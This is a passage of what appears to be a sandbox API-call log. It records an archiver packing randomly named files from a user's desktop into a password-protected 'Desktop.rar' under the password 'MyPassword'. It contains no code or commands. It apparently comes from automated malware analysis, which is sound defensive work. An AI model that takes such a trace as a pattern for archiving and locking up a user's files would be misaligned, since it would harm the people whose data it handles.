dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0062.985] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0062.985] GetTickCount () returned 0xa66154 [0062.985] GetLastError () returned 0x0 [0062.985] SetLastError (dwErrCode=0x0) [0062.985] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0062.985] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0062.985] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0062.985] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0062.985] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0062.985] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0062.985] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0062.985] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0062.985] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0062.985] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="gblyrzexggw.exe") returned 15 [0062.985] SetWindowTextW (hWnd=0x10216, lpString="HAuM_g1AD_0J.mp4") returned 1 [0062.985] GetTickCount () returned 0xa66154 [0062.985] UpdateWindow (hWnd=0x1020e) returned 1 [0062.986] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0062.986] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0062.986] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0062.986] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0062.986] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x18, wMilliseconds=0x29d)) [0062.986] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0062.986] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=63320669952) returned 1 [0062.986] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xac1b, lpOverlapped=0x0) returned 1 [0062.987] ReadFile (in: hFile=0x1b0, lpBuffer=0x379ac5b, nNumberOfBytesToRead=0xf53e5, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379ac5b*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0062.987] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0062.987] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.987] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0062.987] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.987] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492e0, Size=0x48) returned 0x34e390 [0062.987] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0062.987] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.987] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492e0, Size=0x48) returned 0x34e340 [0062.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0062.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0062.987] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.987] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0062.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49310 | out: hHeap=0x290000) returned 1 [0062.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492e0 | out: hHeap=0x290000) returned 1 [0062.987] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492b0, Size=0x48) returned 0x34e390 [0062.987] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0062.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0062.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0062.990] GetTickCount () returned 0xa66154 [0062.990] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=63321061989) returned 1 [0062.990] GetTickCount () returned 0xa66154 [0062.990] GetLastError () returned 0x0 [0062.990] SetLastError (dwErrCode=0x0) [0062.990] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0062.990] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:07:46") returned 8 [0062.990] SetWindowTextW (hWnd=0x10220, lpString="00:08:21") returned 1 [0062.991] GetTickCount () returned 0xa66154 [0062.991] GetLastError () returned 0x0 [0062.991] SetLastError (dwErrCode=0x0) [0062.991] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0062.991] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:00:55") returned 8 [0062.991] SetWindowTextW (hWnd=0x10224, lpString="00:00:57") returned 1 [0062.991] GetTickCount () returned 0xa66154 [0062.991] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c492b0) returned 0x0 [0062.991] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c492b0, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0062.991] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c492b0, hwnd=0x1020e, ullCompleted=0x8610be, ullTotal=0x954fe3) returned 0x0 [0062.992] TaskbarList:IUnknown:Release (This=0x3c492b0) returned 0x0 [0062.992] GetLastError () returned 0x36b7 [0062.992] SetLastError (dwErrCode=0x36b7) [0062.992] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0062.992] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0062.992] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0062.992] GetLastError () returned 0x36b7 [0062.992] SetLastError (dwErrCode=0x36b7) [0062.992] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0062.992] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0062.992] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x59, lParam=0x0) returned 0x59 [0062.993] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0062.993] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0062.993] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.993] ResetEvent (hEvent=0x1a4) returned 1 [0062.993] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.993] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.995] ResetEvent (hEvent=0x1a4) returned 1 [0062.995] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.995] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.997] GetTickCount () returned 0xa66164 [0062.997] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=63321709259) returned 1 [0062.997] GetTickCount () returned 0xa66164 [0062.997] GetTickCount () returned 0xa66164 [0062.997] GetTickCount () returned 0xa66164 [0062.997] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0062.997] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0062.997] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.997] ResetEvent (hEvent=0x190) returned 1 [0062.997] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.997] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.997] ResetEvent (hEvent=0x190) returned 1 [0062.997] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.997] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.998] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0062.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.998] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x76b618 [0062.998] SetFilePointer (in: hFile=0x198, lDistanceToMove=100, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x76b67c [0062.998] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0062.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0062.998] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0062.998] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0062.998] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0062.998] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xac80, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xac80, lpOverlapped=0x0) returned 1 [0062.999] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0062.999] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.999] SetFilePointer (in: hFile=0x198, lDistanceToMove=7779864, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x76b618 [0062.999] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x76b618 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.999] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492e0, Size=0x48) returned 0x34e340 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.999] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492e0, Size=0x48) returned 0x34e390 [0062.999] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0062.999] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0062.999] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49310 | out: hHeap=0x290000) returned 1 [0062.999] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492e0 | out: hHeap=0x290000) returned 1 [0062.999] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492b0, Size=0x48) returned 0x34e340 [0062.999] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0062.999] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x64, lpOverlapped=0x0) returned 1 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0062.999] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x64) returned 0x351600 [0063.000] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.000] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.000] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7762fc [0063.000] CloseHandle (hObject=0x1b0) returned 1 [0063.000] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.000] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.000] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.000] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.000] FindFirstFileW (in: lpFileName="jGh255P.m4a", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.000] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.000] CreateFileW (lpFileName="jGh255P.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\jgh255p.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.000] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.000] GetTickCount () returned 0xa66164 [0063.000] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.000] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.000] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.000] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.000] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="HAuM_g1AD_0J.mp4") returned 16 [0063.000] SetWindowTextW (hWnd=0x10216, lpString="jGh255P.m4a") returned 1 [0063.000] GetTickCount () returned 0xa66164 [0063.000] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.000] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.001] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.001] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.001] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x18, wMilliseconds=0x2ad)) [0063.001] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.001] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=63322137687) returned 1 [0063.001] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xa514, lpOverlapped=0x0) returned 1 [0063.002] ReadFile (in: hFile=0x1b0, lpBuffer=0x379a554, nNumberOfBytesToRead=0xf5aec, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379a554*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.002] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.002] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.002] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0063.002] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.002] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49310, Size=0x48) returned 0x34e390 [0063.002] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.002] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.002] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49310, Size=0x48) returned 0x34e340 [0063.002] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.002] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.002] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.002] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49340 | out: hHeap=0x290000) returned 1 [0063.002] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49310 | out: hHeap=0x290000) returned 1 [0063.002] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492e0, Size=0x48) returned 0x34e390 [0063.002] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.002] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.002] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.003] GetTickCount () returned 0xa66164 [0063.003] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=63322304853) returned 1 [0063.003] GetTickCount () returned 0xa66164 [0063.003] GetTickCount () returned 0xa66164 [0063.003] GetTickCount () returned 0xa66164 [0063.003] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.003] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.003] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.003] ResetEvent (hEvent=0x1a4) returned 1 [0063.003] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.003] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.005] ResetEvent (hEvent=0x1a4) returned 1 [0063.005] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.005] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.006] GetTickCount () returned 0xa66164 [0063.006] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=63322654258) returned 1 [0063.006] GetTickCount () returned 0xa66164 [0063.006] GetTickCount () returned 0xa66164 [0063.006] GetTickCount () returned 0xa66164 [0063.006] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.006] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.006] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.006] ResetEvent (hEvent=0x190) returned 1 [0063.006] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.006] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] ResetEvent (hEvent=0x190) returned 1 [0063.007] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.007] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.007] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7762fc [0063.008] SetFilePointer (in: hFile=0x198, lDistanceToMove=95, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x77635b [0063.008] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.008] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.008] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.008] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.008] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xa580, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xa580, lpOverlapped=0x0) returned 1 [0063.009] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.009] SetFilePointer (in: hFile=0x198, lDistanceToMove=7824124, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7762fc [0063.009] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7762fc [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.009] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49310, Size=0x48) returned 0x34e340 [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.009] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49310, Size=0x48) returned 0x34e390 [0063.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49310 [0063.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49340 | out: hHeap=0x290000) returned 1 [0063.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49310 | out: hHeap=0x290000) returned 1 [0063.009] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492e0, Size=0x48) returned 0x34e340 [0063.009] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.009] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x5f, lpOverlapped=0x0) returned 1 [0063.009] RtlAllocateHeap 